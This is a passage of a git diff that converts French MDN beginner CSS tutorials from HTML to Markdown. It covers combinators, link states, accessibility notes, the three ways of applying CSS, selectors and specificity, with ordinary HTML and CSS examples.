plus simples. Dans notre document HTML il y a deux éléments <code><em></code> — l'un dans un paragraphe l'autre dans l'item d'une liste. On peut cibler le <code><em></code> imbriqué dans l'élément <code><li></code> avec un <strong>combinateur descendant </strong>qui prend la forme suivante<strong> : </strong>deux sélecteurs séparés par un espace.</p> +Il y a des situations où vous voudrez que le style d'un élément s'adapte en fonction de sa position dans le document. De nombreux sélecteurs permettent de réaliser ce type de comportement, voyons les plus simples. Dans notre document HTML il y a deux éléments `<em>` — l'un dans un paragraphe l'autre dans l'item d'une liste. On peut cibler le `<em>` imbriqué dans l'élément `<li>` avec un **combinateur descendant** qui prend la forme suivante **:** deux sélecteurs séparés par un espace. -<p>Ajoutez la règle suivante à votre feuille de style :</p> +Ajoutez la règle suivante à votre feuille de style : -<pre class="brush: css">li em { +```css +li em { color: rebeccapurple; -}</pre> +} +``` -<p>Ce sélecteur cible tout élément <code><em></code> à l'intérieur (descendant) d'un <code><li></code>. Ainsi, dans notre exemple, le <code><em></code> dans le troisième item de la liste sera maintenant pourpre, alors que celui du paragraphe est inchangé.</p> +Ce sélecteur cible tout élément `<em>` à l'intérieur (descendant) d'un `<li>`. Ainsi, dans notre exemple, le `<em>` dans le troisième item de la liste sera maintenant pourpre, alors que celui du paragraphe est inchangé. -<p>On pourrait maintenant essayer d'appliquer un style à un paragraphe quand il vient juste après un titre de niveau un dans le HTML. Pour obtenir cela, on place un <code>+</code> (le <strong>combinateur de frères et sœurs adjacents</strong>) entre les sélecteurs.</p> +On pourrait maintenant essayer d'appliquer un style à un paragraphe quand il vient juste après un titre de niveau un dans le HTML. Pour obtenir cela, on place un `+` (le **combinateur de frères et sœurs adjacents**) entre les sélecteurs. -<p>Ajoutez cette règle à votre feuille de style :</p> +Ajoutez cette règle à votre feuille de style : -<pre class="brush: css">h1 + p { +```css +h1 + p { font-size: 200%; -}</pre> +} +``` -<p>L'exemple live ci-dessous inclut les deux règles précédentes. Essayez d'ajouter une règle qui passe <span> en rouge s'il est dans un paragraphe. Votre règle est correcte, si après sauvegarde du CSS et rafraîchissement du HTML dans le navigateur, le <span> du premier paragraphe est rouge mais celui du premier item de la liste est inchangé.</p> +L'exemple live ci-dessous inclut les deux règles précédentes. Essayez d'ajouter une règle qui passe \<span> en rouge s'il est dans un paragraphe. Votre règle est correcte, si après sauvegarde du CSS et rafraîchissement du HTML dans le navigateur, le \<span> du premier paragraphe est rouge mais celui du premier item de la liste est inchangé. -<p>{{EmbedGHLiveSample("css-examples/learn/getting-started/started2.html", '100%', 1100)}}</p> +{{EmbedGHLiveSample("css-examples/learn/getting-started/started2.html", '100%', 1100)}} -<div class="note"> -<p><strong>Note :</strong> A ce point, on a déjà découvert plusieurs méthodes CSS pour cibler les éléments et pourtant on vient à peine de commencer ! Nous passerons en revue plus systématiquement tous ces sélecteurs dans la leçon <a href="/fr/docs/Learn/CSS/Building_blocks/Selectors">CSS Selectors</a> du cours suivant.</p> -</div> +> **Note :** A ce point, on a déjà découvert plusieurs méthodes CSS pour cibler les éléments et pourtant on vient à peine de commencer ! Nous passerons en revue plus systématiquement tous ces sélecteurs dans la leçon [CSS Selectors](/fr/docs/Learn/CSS/Building_blocks/Selectors) du cours suivant. -<h2 id="Mise_en_forme_basée_sur_létat">Mise en forme basée sur l'état</h2> +## Mise en forme basée sur l'état -<p>Pour finir ce tutoriel, voyons comment on peut appliquer une mise en forme basée sur l'état d'un élément. La mise en forme des liens illustre cela à merveille. Pour appliquer un style sur un lien, on doit cibler l'élément <code><a href="/fr/docs/Web/HTML/Element/a"><a></a></code> (ancre). Cet élément a différents états selon que le lien a ou n'a pas été visité (<code>visited</code>), est survolé par le curseur (<code>hover</code>), a le focus clavier (<code>focus</code>), ou si l'utilisateur est en train de cliquer sur ce lien (<code>active</code>). CSS permet de cibler ces différents états — les règles ci-dessous colorent en rose les liens non visités et en vert ceux qui l'ont été.</p> +Pour finir ce tutoriel, voyons comment on peut appliquer une mise en forme basée sur l'état d'un élément. La mise en forme des liens illustre cela à merveille. Pour appliquer un style sur un lien, on doit cibler l'élément [`<a>`](/fr/docs/Web/HTML/Element/a) (ancre). Cet élément a différents états selon que le lien a ou n'a pas été visité (`visited`), est survolé par le curseur (`hover`), a le focus clavier (`focus`), ou si l'utilisateur est en train de cliquer sur ce lien (`active`). CSS permet de cibler ces différents états — les règles ci-dessous colorent en rose les liens non visités et en vert ceux qui l'ont été. -<pre class="brush: css">a:link { +```css +a:link { color: pink; } a:visited { color: green; -}</pre> +} +``` -<p>On peut changer l'aspect des liens survolés, par exemple en supprimant le soulignement, avec la règle suivante :</p> +On peut changer l'aspect des liens survolés, par exemple en supprimant le soulignement, avec la règle suivante : -<pre class="brush: css">a:hover { +```css +a:hover { text-decoration: none; -}</pre> - -<p>Dans l'exemple live ci-dessous, vous pouvez explorer les valeurs des différents états d'un lien. J'ai rajouté les règles précédentes à la feuille de style, notez comment le rose est très clair, peu lisible — pourquoi ne pas trouver une meilleure couleur ? Pourriez-vous passer les liens en gras ?</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/getting-started/started3.html", '100%', 900)}} </p> +} +``` -<p>Nous avons supprimé le soulignement quand le lien est survolé.Vous pourriez supprimer le soulignement quel que soit l'état du lien. Dans un vrai site, il est quand même important que le visiteur sache qu'un lien est un lien. Le soulignement donne un indice important aux visiteurs pour réaliser qu'un bout de texte dans un paragraphe est cliquable — c'est le comportement auquel ils sont habitués. Avec le contrôle que donne CSS, les changements de style peuvent parfois rendre le document moins accessible — à chaque fois que nécessaire nous nous efforcerons de signaler les pièges classiques dans cette direction.</p> +Dans l'exemple live ci-dessous, vous pouvez explorer les valeurs des différents états d'un lien. J'ai rajouté les règles précédentes à la feuille de style, notez comment le rose est très clair, peu lisible — pourquoi ne pas trouver une meilleure couleur ? Pourriez-vous passer les liens en gras ? -<div class="note"> -<p><strong>Note :</strong> dans ce cours et à travers le site MDN, vous rencontrerez souvent la notion d'<a href="/fr/docs/Apprendre/a11y">accessibilité</a> : les règles pour que nos pages soient compréhensibles et utilisables par tous.</p> +{{EmbedGHLiveSample("css-examples/learn/getting-started/started3.html", '100%', 900)}} -<p>Vos visiteurs peuvent consulter votre page depuis un ordinateur équipé d'une souris ou d'un trackpad, ou depuis un téléphone avec un écran tactile. Ils peuvent aussi utiliser un lecteur d'écran qui parcourt le contenu du document. Ils pourraient avoir besoin d'un affichage en grands caractères, ou parcourir votre site en ne naviguant qu'avec le clavier.</p> +Nous avons supprimé le soulignement quand le lien est survolé.Vous pourriez supprimer le soulignement quel que soit l'état du lien. Dans un vrai site, il est quand même important que le visiteur sache qu'un lien est un lien. Le soulignement donne un indice important aux visiteurs pour réaliser qu'un bout de texte dans un paragraphe est cliquable — c'est le comportement auquel ils sont habitués. Avec le contrôle que donne CSS, les changements de style peuvent parfois rendre le document moins accessible — à chaque fois que nécessaire nous nous efforcerons de signaler les pièges classiques dans cette direction. -<p>Un document HTML pur est généralement accessible à tous — il est important que les mises en forme appliquées ne le rendent pas moins accessible.</p> -</div> +> **Note :** dans ce cours et à travers le site MDN, vous rencontrerez souvent la notion d'[accessibilité](/fr/docs/Apprendre/a11y) : les règles pour que nos pages soient compréhensibles et utilisables par tous. +> +> Vos visiteurs peuvent consulter votre page depuis un ordinateur équipé d'une souris ou d'un trackpad, ou depuis un téléphone avec un écran tactile. Ils peuvent aussi utiliser un lecteur d'écran qui parcourt le contenu du document. Ils pourraient avoir besoin d'un affichage en grands caractères, ou parcourir votre site en ne naviguant qu'avec le clavier. +> +> Un document HTML pur est généralement accessible à tous — il est important que les mises en forme appliquées ne le rendent pas moins accessible. -<h2 id="Associer_sélecteurs_et_combinateurs">Associer sélecteurs et combinateurs</h2> +## Associer sélecteurs et combinateurs -<p>On peut associer sélecteurs et combinateurs. Par exemple :</p> +On peut associer sélecteurs et combinateurs. Par exemple : -<pre class="brush: css">/* sélectionne tout <span> à l'intérieur d'un <p>, lui-même à l'intérieur d'un <article> */ +```css +/* sélectionne tout <span> à l'intérieur d'un <p>, lui-même à l'intérieur d'un <article> */ article p span { ... } -/* sélectionne tout <p> qui vient juste après un <ul>, lui-même venant just après un <h1> */ -h1 + ul + p { ... }</pre> +/* sélectionne tout <p> qui vient juste après un <ul>, lui-même venant just après un <h1> */ +h1 + ul + p { ... } +``` -<p>On peut aussi combiner les types multiples. Essayez d'ajouter les règles suivantes à votre feuille de style :</p> +On peut aussi combiner les types multiples. Essayez d'ajouter les règles suivantes à votre feuille de style : -<pre class="brush: css">body h1 + p .special { +```css +body h1 + p .special { color: yellow; background-color: black; padding: 5px; -}</pre> +} +``` -<p>Cette règle cible tout élément dont l'attribut class vaut <code>special</code>, à l'intérieur d'un <code><p></code>, qui vient juste après un <code><h1></code>, à l'intérieur de <code><body></code>. Ouf !</p> +Cette règle cible tout élément dont l'attribut class vaut `special`, à l'intérieur d'un `<p>`, qui vient juste après un `<h1>`, à l'intérieur de `<body>`. Ouf ! -<p>Dans notre document HTML le seul élément mis en forme selon la règle ci-dessus est <code><span class="special"></code>.</p> +Dans notre document HTML le seul élément mis en forme selon la règle ci-dessus est `<span class="special">`. -<p>Pas de panique, cela peut sembler compliqué pour le moment — avec un peu de pratique du CSS, vous maîtriserez très bientôt tout cela.</p> +Pas de panique, cela peut sembler compliqué pour le moment — avec un peu de pratique du CSS, vous maîtriserez très bientôt tout cela. -<h2 id="Bilan">Bilan</h2> +## Bilan -<p>Dans ce tutoriel nous avons vu plusieurs façons de mettre en forme un document grâce aux règles CSS. En progressant dans les leçons de ce cours, nous développerons ces connaissances.</p> +Dans ce tutoriel nous avons vu plusieurs façons de mettre en forme un document grâce aux règles CSS. En progressant dans les leçons de ce cours, nous développerons ces connaissances. -<p>Vous en savez pourtant déjà assez pour : mettre en forme un texte ; utiliser différentes méthodes pour sélectionner les éléments HTML visés ; et recherchez les propriétés et les valeurs dans la documentation MDN.</p> +Vous en savez pourtant déjà assez pour : mettre en forme un texte ; utiliser différentes méthodes pour sélectionner les éléments HTML visés ; et recherchez les propriétés et les valeurs dans la documentation MDN. -<p>Dans la leçon suivante, nous étudirons comment CSS est structuré.</p> +Dans la leçon suivante, nous étudirons comment CSS est structuré. -<p>{{PreviousMenuNext("Learn/CSS/First_steps/What_is_CSS", "Learn/CSS/First_steps/How_CSS_is_structured", "Learn/CSS/First_steps")}}</p> +{{PreviousMenuNext("Learn/CSS/First_steps/What_is_CSS", "Learn/CSS/First_steps/How_CSS_is_structured", "Learn/CSS/First_steps")}} -<h2 id="Dans_ce_cours">Dans ce cours</h2> +## Dans ce cours -<ol> - <li><a href="/fr/docs/Learn/CSS/First_steps/Qu_est_ce_que_CSS">Qu'est ce que CSS?</a></li> - <li><a href="/fr/docs/Learn/CSS/First_steps/Getting_started">Démarrer avec CSS</a></li> - <li><a href="/fr/docs/Learn/CSS/First_steps/How_CSS_is_structured">Comment CSS est structuré</a></li> - <li><a href="/fr/docs/Learn/CSS/First_steps/How_CSS_works">CSS comment ça marche ?</a></li> - <li><a href="/fr/docs/Learn/CSS/First_steps/Using_your_new_knowledge">Utiliser vos connaissances</a></li> -</ol> +1. [Qu'est ce que CSS?](/fr/docs/Learn/CSS/First_steps/Qu_est_ce_que_CSS) +2. [Démarrer avec CSS](/fr/docs/Learn/CSS/First_steps/Getting_started) +3. [Comment CSS est structuré](/fr/docs/Learn/CSS/First_steps/How_CSS_is_structured) +4. [CSS comment ça marche ?](/fr/docs/Learn/CSS/First_steps/How_CSS_works) +5. [Utiliser vos connaissances](/fr/docs/Learn/CSS/First_steps/Using_your_new_knowledge) diff --git a/files/fr/learn/css/first_steps/how_css_is_structured/index.md b/files/fr/learn/css/first_steps/how_css_is_structured/index.md index 057da54fc4..1914be5f1a 100644 --- a/files/fr/learn/css/first_steps/how_css_is_structured/index.md +++ b/files/fr/learn/css/first_steps/how_css_is_structured/index.md @@ -3,51 +3,69 @@ title: Comment CSS est structuré slug: Learn/CSS/First_steps/How_CSS_is_structured translation_of: Learn/CSS/First_steps/How_CSS_is_structured --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/First_steps/Getting_started", "Learn/CSS/First_steps/How_CSS_works", "Learn/CSS/First_steps")}} -<div>{{PreviousMenuNext("Learn/CSS/First_steps/Getting_started", "Learn/CSS/First_steps/How_CSS_works", "Learn/CSS/First_steps")}}</div> - -<p>Vous avez maintenant une idée plus claire de CSS. Vous connaissez les bases de son fonctionnement. Il est temps d'explorer plus avant la structure du langage lui-même. Nous avons déjà rencontré nombre des concepts apparaissant dans ce tutoriel ; reportez vous aux leçons précédentes si un concept vous semble peu clair.</p> +Vous avez maintenant une idée plus claire de CSS. Vous connaissez les bases de son fonctionnement. Il est temps d'explorer plus avant la structure du langage lui-même. Nous avons déjà rencontré nombre des concepts apparaissant dans ce tutoriel ; reportez vous aux leçons précédentes si un concept vous semble peu clair. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Maîtrise élémentaire de l'informatique, <a href="/fr/docs/Learn/Getting_started_with_the_web/Installing_basic_software">suite logicielle de base installée</a>, compétences élémentaires pour <a href="/fr/docs/Learn/Getting_started_with_the_web/Dealing_with_files">travailler avec des fichiers</a>, connaissance de base du HTML (cf. <a href="/fr/docs/Learn/HTML/Introduction_to_HTML">Introduction à HTML</a>), et une idée de <a href="/fr/docs/Learn/CSS/First_steps/How_CSS_works">Comment fonctionne CSS</a>.</td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td>Approfondir les structures syntaxiques fondamentales de CSS</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Maîtrise élémentaire de l'informatique, + <a + href="/fr/docs/Learn/Getting_started_with_the_web/Installing_basic_software" + >suite logicielle de base installée</a + >, compétences élémentaires pour + <a href="/fr/docs/Learn/Getting_started_with_the_web/Dealing_with_files" + >travailler avec des fichiers</a + >, connaissance de base du HTML (cf. + <a href="/fr/docs/Learn/HTML/Introduction_to_HTML" + >Introduction à HTML</a + >), et une idée de + <a href="/fr/docs/Learn/CSS/First_steps/How_CSS_works" + >Comment fonctionne CSS</a + >. + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td>Approfondir les structures syntaxiques fondamentales de CSS</td> + </tr> + </tbody> </table> -<h2 id="applying_css_to_html">Appliquer CSS à votre document HTML</h2> +## Appliquer CSS à votre document HTML + +Regardons d'abord les trois méthodes pour appliquer CSS à un document. -<p>Regardons d'abord les trois méthodes pour appliquer CSS à un document.</p> +### Feuille de style externe -<h3 id="external_stylesheet">Feuille de style externe</h3> +Dans la leçon [Démarrer avec CSS](/fr/docs/Learn/CSS/First_steps/Getting_started) nous avons lié une feuille de style externe à notre document. C'est la méthode la plus commune pour appliquer CSS à un document. C'est aussi la plus utile : dans la plupart des cas, les différentes pages d'un site ont à peu près la même apparence, on peut donc utiliser le même jeu de règles pour l'apparence de base. Il est dans ce cas commode d'écrire ces règles une seule fois dans une feuille de style commune à toutes les pages. -<p>Dans la leçon <a href="/fr/docs/Learn/CSS/First_steps/Getting_started">Démarrer avec CSS</a> nous avons lié une feuille de style externe à notre document. C'est la méthode la plus commune pour appliquer CSS à un document. C'est aussi la plus utile : dans la plupart des cas, les différentes pages d'un site ont à peu près la même apparence, on peut donc utiliser le même jeu de règles pour l'apparence de base. Il est dans ce cas commode d'écrire ces règles une seule fois dans une feuille de style commune à toutes les pages.</p> +Dans le cas d'une feuille de style externe, les règles CSS sont écrites dans un fichier séparé, avec l'extension `.css`. Un élément HTML `<link>` fait référence à ce fichier. -<p>Dans le cas d'une feuille de style externe, les règles CSS sont écrites dans un fichier séparé, avec l'extension <code>.css</code>. Un élément HTML <code><link></code> fait référence à ce fichier.</p> +```html +<!DOCTYPE html> +<html> + <head> + <meta charset="utf-8"> + <title>Une expérience avec CSS</title> + <link rel="stylesheet" href="styles.css"> + </head> + <body> + <h1>Hello World!</h1> + <p>ceci est mon premier exemple CSS</p> + </body> +</html> +``` -<pre class="brush: html"><!DOCTYPE html> -<html> - <head> - <meta charset="utf-8"> - <title>Une expérience avec CSS</title> - <link rel="stylesheet" href="styles.css"> - </head> - <body> - <h1>Hello World!</h1> - <p>ceci est mon premier exemple CSS</p> - </body> -</html></pre>e +e -<p>Le fichier CSS devrait ressembler à cela :</p> +Le fichier CSS devrait ressembler à cela : -<pre class="brush: css">h1 { +```css +h1 { color: blue; background-color: yellow; border: 1px solid black; @@ -55,33 +73,37 @@ translation_of: Learn/CSS/First_steps/How_CSS_is_structured p { color: red; -}</pre> +} +``` -<p>L'attribut <code>href</code> de l'élément <a href="/fr/docs/Web/HTML/Element/link"><code><link></code></a> doit pointer vers un fichier dans votre système de fichiers.</p> +L'attribut `href` de l'élément [`<link>`](/fr/docs/Web/HTML/Element/link) doit pointer vers un fichier dans votre système de fichiers. -<p>Dans l'exemple ci-dessus, le fichier CSS et le document HTML sont dans le même dossier, mais vous pouvez le placer ailleurs et ajuster le chemin, par exemple :</p> +Dans l'exemple ci-dessus, le fichier CSS et le document HTML sont dans le même dossier, mais vous pouvez le placer ailleurs et ajuster le chemin, par exemple : -<pre class="brush: html"><!-- Dans un sous-répertoire nommé styles dans le répertoire courant --> -<link rel="stylesheet" href="styles/style.css"> +```html +<!-- Dans un sous-répertoire nommé styles dans le répertoire courant --> +<link rel="stylesheet" href="styles/style.css"> -<!-- Dans un sous-répertoire nommé general, lui-même dans un sous-répertoire nommé styles, dans le répertoire courant --> -<link rel="stylesheet" href="styles/general/style.css"> +<!-- Dans un sous-répertoire nommé general, lui-même dans un sous-répertoire nommé styles, dans le répertoire courant --> +<link rel="stylesheet" href="styles/general/style.css"> -<!-- Dans un sous-répertoire nommé styles, un niveau plus haut --> -<link rel="stylesheet" href="../styles/style.css"></pre> +<!-- Dans un sous-répertoire nommé styles, un niveau plus haut --> +<link rel="stylesheet" href="../styles/style.css"> +``` -<h3 id="internal_stylesheet">Feuille de style interne</h3> +### Feuille de style interne -<p>Les règles CSS peuvent être écrites directement dans l'en-tête HTML <a href="/fr/docs/Web/HTML/Element/head"><code><head></code></a> dans un élément <a href="/fr/docs/Web/HTML/Element/style"><code><style></code></a>. On parle alors de feuille de style interne.</p> +Les règles CSS peuvent être écrites directement dans l'en-tête HTML [`<head>`](/fr/docs/Web/HTML/Element/head) dans un élément [`<style>`](/fr/docs/Web/HTML/Element/style). On parle alors de feuille de style interne. -<p>Le code HTML ci-dessous illustre cette technique :</p> +Le code HTML ci-dessous illustre cette technique : -<pre class="brush: html"><!DOCTYPE html> -<html> - <head> - <meta charset="utf-8"> - <title>Mes expérimentations CSS</title> - <style> +```html +<!DOCTYPE html> +<html> + <head> + <meta charset="utf-8"> + <title>Mes expérimentations CSS</title> + <style> h1 { color: blue; background-color: yellow; @@ -91,175 +113,183 @@ p { p { color: red; } - </style> - </head> - <body> - <h1>Hello World!</h1> - <p>Ceci est mon premier exemple CSS</p> - </body> -</html></pre> + </style> + </head> + <body> + <h1>Hello World!</h1> + <p>Ceci est mon premier exemple CSS</p> + </body> +</html> +``` -<p>Cette méthode peut être utile dans certaines circonstances (un système de gestion de contenu (CMS) qui n'autoriserait pas la modification du fichier <code>style.css</code>). Cette solution est un pis-aller, on préfèrera quand c'est possible une feuille de style externe — dans un site web, avec la méthode de styles internes, le CSS doit être recopié dans chaque page : la mise à jour des styles nécessite donc de modifier chaque fichier.</p> +Cette méthode peut être utile dans certaines circonstances (un système de gestion de contenu (CMS) qui n'autoriserait pas la modification du fichier `style.css`). Cette solution est un pis-aller, on préfèrera quand c'est possible une feuille de style externe — dans un site web, avec la méthode de styles internes, le CSS doit être recopié dans chaque page : la mise à jour des styles nécessite donc de modifier chaque fichier. -<h3 id="inline_styles">Styles en ligne</h3> +### Styles en ligne -<p>Les styles en ligne sont des déclarations CSS qui n'affectent qu'un seul élément, elles sont déclarées grâce à l'attribut <code>style</code>:</p> +Les styles en ligne sont des déclarations CSS qui n'affectent qu'un seul élément, elles sont déclarées grâce à l'attribut `style`: -<pre class="brush: html"><!DOCTYPE html> -<html> - <head> - <meta charset="utf-8"> - <title>Mes expérimentations CSS</title> - </head> - <body> - <h1 style="color: blue;background-color: yellow;border: 1px solid black;">Hello World!</h1> - <p style="color:red;">Ceci est mon premier exemple CSS</p> - </body> -</html></pre> +```html +<!DOCTYPE html> +<html> + <head> + <meta charset="utf-8"> + <title>Mes expérimentations CSS</title> + </head> + <body> + <h1 style="color: blue;background-color: yellow;border: 1px solid black;">Hello World!</h1> + <p style="color:red;">Ceci est mon premier exemple CSS</p> + </body> +</html> +``` -<p><strong>Cette approche est vraiment à proscrire ! </strong>Le code produit n'est pas maintenable (les modifications ne doivent plus se faire pour chaque page, mais dans chaque page, élément par élément !). Par ailleurs, mélanger le CSS avec le HTML rend la lecture du code plus difficile. En plus d'une meilleure lisibilité du code, séparer le fond de la forme rend le travail d'équipe plus facile.</p> +**Cette approche est vraiment à proscrire !** Le code produit n'est pas maintenable (les modifications ne doivent plus se faire pour chaque page, mais dans chaque page, élément par élément !). Par ailleurs, mélanger le CSS avec le HTML rend la lecture du code plus difficile. En plus d'une meilleure lisibilité du code, séparer le fond de la forme rend le travail d'équipe plus facile. -<p>Il existe quelques endroits où les styles en ligne sont communs, voire recommandés. Vous devrez peut-être les utiliser si votre environnement de travail est vraiment restrictif (votre CMS ne vous permet peut-être que de modifier le corps du HTML). Vous les verrez également beaucoup utilisés dans les e-mails HTML afin d'être compatibles avec autant de clients de messagerie que possible.</p> +Il existe quelques endroits où les styles en ligne sont communs, voire recommandés. Vous devrez peut-être les utiliser si votre environnement de travail est vraiment restrictif (votre CMS ne vous permet peut-être que de modifier le corps du HTML). Vous les verrez également beaucoup utilisés dans les e-mails HTML afin d'être compatibles avec autant de clients de messagerie que possible. -<h2 id="playing_with_the_css_in_this_article">Jouer avec le CSS de cet article</h2> +## Jouer avec le CSS de cet article -<p>Les exemples de cet article sont autant d'occasions pour faire vos premiers tests. Pour ce faire, nous vous recommandons de créer un nouveau répertoire sur votre ordinateur et d'y créer une copie des deux fichiers suivants :</p> +Les exemples de cet article sont autant d'occasions pour faire vos premiers tests. Pour ce faire, nous vous recommandons de créer un nouveau répertoire sur votre ordinateur et d'y créer une copie des deux fichiers suivants : -<p><strong>index.html</strong> :</p> +**index.html** : -<pre class="brush: html"><!DOCTYPE html> -<html lang="en"> - <head> - <meta charset="utf-8"> - <title>Mes expériences CSS</title> - <link rel="stylesheet" href="styles.css"> - </head> - <body> +```html +<!DOCTYPE html> +<html lang="en"> + <head> + <meta charset="utf-8"> + <title>Mes expériences CSS</title> + <link rel="stylesheet" href="styles.css"> + </head> + <body> - <p>Créez votre test ici !</p> + <p>Créez votre test ici !</p> - </body> -</html></pre> + </body> +</html> +``` -<p><strong>styles.css</strong> :</p> +**styles.css** : -<pre class="brush: css">/* Créez votre test CSS ici */ +```css +/* Créez votre test CSS ici */ p { color: red; -}</pre> +} +``` -<p>Ensuite, lorsque vous rencontrez du code à tester : collez le HTML à mettre en forme entre les balises <code><body></code>…<code></body></code> dans le fichier <code>index.html</code> ; ajoutez les règles CSS dans la feuille <code>styles.css</code>.</p> +Ensuite, lorsque vous rencontrez du code à tester : collez le HTML à mettre en forme entre les balises `<body>`…`</body>` dans le fichier `index.html` ; ajoutez les règles CSS dans la feuille `styles.css`. -<p>Si le système que vous utilisez rend difficile la création de fichiers, vous pouvez utiliser l'éditeur interactif ci-dessous pour vos expériences.</p> +Si le système que vous utilisez rend difficile la création de fichiers, vous pouvez utiliser l'éditeur interactif ci-dessous pour vos expériences. -<p>{{EmbedGHLiveSample("css-examples/learn/getting-started/experiment-sandbox.html", '100%', 600)}} </p> +{{EmbedGHLiveSample("css-examples/learn/getting-started/experiment-sandbox.html", '100%', 600)}} -<p>Bonne lecture !</p> +Bonne lecture ! -<h2 id="selectors">Sélecteurs</h2> +## Sélecteurs -<p>Vous ne pouvez pas parler de CSS sans rencontrer les sélecteurs et nous en avons déjà découvert différents types dans le tutoriel <a href="/fr/docs/Learn/CSS/First_steps/Getting_started">Démarrer avec CSS</a>. Un sélecteur cible quelque chose dans le document HTML afin de lui appliquer des styles. Quand une mise en forme ne s'applique pas comme prévu, il est probable que le sélecteur concerné ne fonctionne pas comme vous l'attendiez.</p> +Vous ne pouvez pas parler de CSS sans rencontrer les sélecteurs et nous en avons déjà découvert différents types dans le tutoriel [Démarrer avec CSS](/fr/docs/Learn/CSS/First_steps/Getting_started). Un sélecteur cible quelque chose dans le document HTML afin de lui appliquer des styles. Quand une mise en forme ne s'applique pas comme prévu, il est probable que le sélecteur concerné ne fonctionne pas comme vous l'attendiez. -<p>Chaque règle CSS commence par un sélecteur ou une liste de sélecteurs afin d'indiquer au navigateur les éléments auxquels les règles doivent s'appliquer. Tous les exemples suivants sont des exemples de sélecteurs valides ou de listes de sélecteurs.</p> +Chaque règle CSS commence par un sélecteur ou une liste de sélecteurs afin d'indiquer au navigateur les éléments auxquels les règles doivent s'appliquer. Tous les exemples suivants sont des exemples de sélecteurs valides ou de listes de sélecteurs. -<pre class="brush: css">h1 +```css +h1 a:link .manythings #onething * .box p .box p:first-child -h1, h2, .intro</pre> +h1, h2, .intro +``` -<p>Essayez de créer des règles CSS qui utilisent les sélecteurs ci-dessus et du code HTML à styler. Si vous ne savez pas ce que signifie la syntaxe ci-dessus, essayez de la rechercher sur MDN !</p> +Essayez de créer des règles CSS qui utilisent les sélecteurs ci-dessus et du code HTML à styler. Si vous ne savez pas ce que signifie la syntaxe ci-dessus, essayez de la rechercher sur MDN ! -<div class="notecard note"> -<p><strong>Note :</strong> Vous en apprendrez beaucoup plus sur les sélecteurs dans nos tutoriels sur <a href="/fr/docs/Learn/CSS/Building_blocks/Selectors">les sélecteurs CSS</a>, dans un prochain cours.</p> -</div> +> **Note :** Vous en apprendrez beaucoup plus sur les sélecteurs dans nos tutoriels sur [les sélecteurs CSS](/fr/docs/Learn/CSS/Building_blocks/Selectors), dans un prochain cours. -<h3 id="specificity">Spécificité</h3> +### Spécificité -<p>Dans de nombreux cas, deux sélecteurs différents peuvent cibler le même élément HTML. Considérons la feuille de style ci-dessous où j'ai une règle avec un sélecteur <code>p</code> qui colore les paragraphes en bleu, puis une règle qui colore en rouge les éléments dans la classe <code>special</code>.</p> +Dans de nombreux cas, deux sélecteurs différents peuvent cibler le même élément HTML. Considérons la feuille de style ci-dessous où j'ai une règle avec un sélecteur `p` qui colore les paragraphes en bleu, puis une règle qui colore en rouge les éléments dans la classe `special`. -<pre class="brush: css">.special { +```css +.special { color: red; } p { color: blue; -}</pre> +} +``` -<p>Disons que dans notre document HTML, nous avons un paragraphe avec un attribut <code>class</code> valant <code>special</code>. Les deux règles pourraient s'appliquer. Selon vous, quelle sera la couleur du paragraphe ?</p> +Disons que dans notre document HTML, nous avons un paragraphe avec un attribut `class` valant `special`. Les deux règles pourraient s'appliquer. Selon vous, quelle sera la couleur du paragraphe ? -<pre class="brush: html"><p class="special">De quelle couleur suis-je?</p></pre> +```html +<p class="special">De quelle couleur suis-je?</p> +``` -<p>Le langage CSS a des règles pour déterminer quelle mise en forme appliquer en cas de collision de sélecteurs — elles sont appelées <strong>cascade</strong> et <strong>spécificité</strong>. Dans le bloc de code ci-dessous, nous avons défini deux règles pour le sélecteur <code>p</code>, mais le paragraphe finit par être coloré en bleu. En effet, la déclaration qui l'a défini en bleu apparaît plus tard dans la feuille de style et les styles ultérieurs remplacent les précédents. C'est la <em>cascade</em> en action.</p> +Le langage CSS a des règles pour déterminer quelle mise en forme appliquer en cas de collision de sélecteurs — elles sont appelées **cascade** et **spécificité**. Dans le bloc de code ci-dessous, nous avons défini deux règles pour le sélecteur `p`, mais le paragraphe finit par être coloré en bleu. En effet, la déclaration qui l'a défini en bleu apparaît plus tard dans la feuille de style et les styles ultérieurs remplacent les précédents. C'est la _cascade_ en action. -<pre class="brush: css">p { +```css +p { color: red; } p { color: blue; -}</pre> +} +``` -<p>Cependant, dans l'exemple plus haut avec le sélecteur de classe et le sélecteur d'élément, la classe l'emportera, rendant le paragraphe rouge — même s'il apparaît plus tôt dans la feuille de style. Une classe est décrite comme étant plus spécifique ou ayant plus de <em>spécificité</em> que le sélecteur d'élément, elle gagne donc.</p> +Cependant, dans l'exemple plus haut avec le sélecteur de classe et le sélecteur d'élément, la classe l'emportera, rendant le paragraphe rouge — même s'il apparaît plus tôt dans la feuille de style. Une classe est décrite comme étant plus spécifique ou ayant plus de _spécificité_ que le sélecteur d'élément, elle gagne donc. -<p><strong>Tentez vous-même l'expérience ci-dessus </strong>—<strong> ajoutez le code HTML à votre expérience, puis ajoutez les deux règles <code>p {…}</code> à votre feuille de style. Ensuite, changez le premier sélecteur <code>p</code> en <code>.special</code> pour voir comment il affecte le style.</strong></p> +**Tentez vous-même l'expérience ci-dessus** — **ajoutez le code HTML à votre expérience, puis ajoutez les deux règles `p {…}` à votre feuille de style. Ensuite, changez le premier sélecteur `p` en `.special`pour voir comment il affecte le style.** -<p>Au premier abord, les règles de cascade et de spécificité peuvent sembler compliquées ; avec une meilleure connaissance de CSS, elles vous paraîtront plus naturelles. Dans le prochain module, l'article <a href="/fr/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">Cascade et héritage</a> vous détaillera ces principes et expliquera notamment comment calculer la spécificité. Pour le moment, rappelez vous que de tels cas existent et que le CSS peut parfois ne pas s'appliquer comme prévu. Dans une telle situation, souvenez-vous qu'un même élément peut être la cible de plusieurs sélecteurs concurrents.</p> +Au premier abord, les règles de cascade et de spécificité peuvent sembler compliquées ; avec une meilleure connaissance de CSS, elles vous paraîtront plus naturelles. Dans le prochain module, l'article [Cascade et 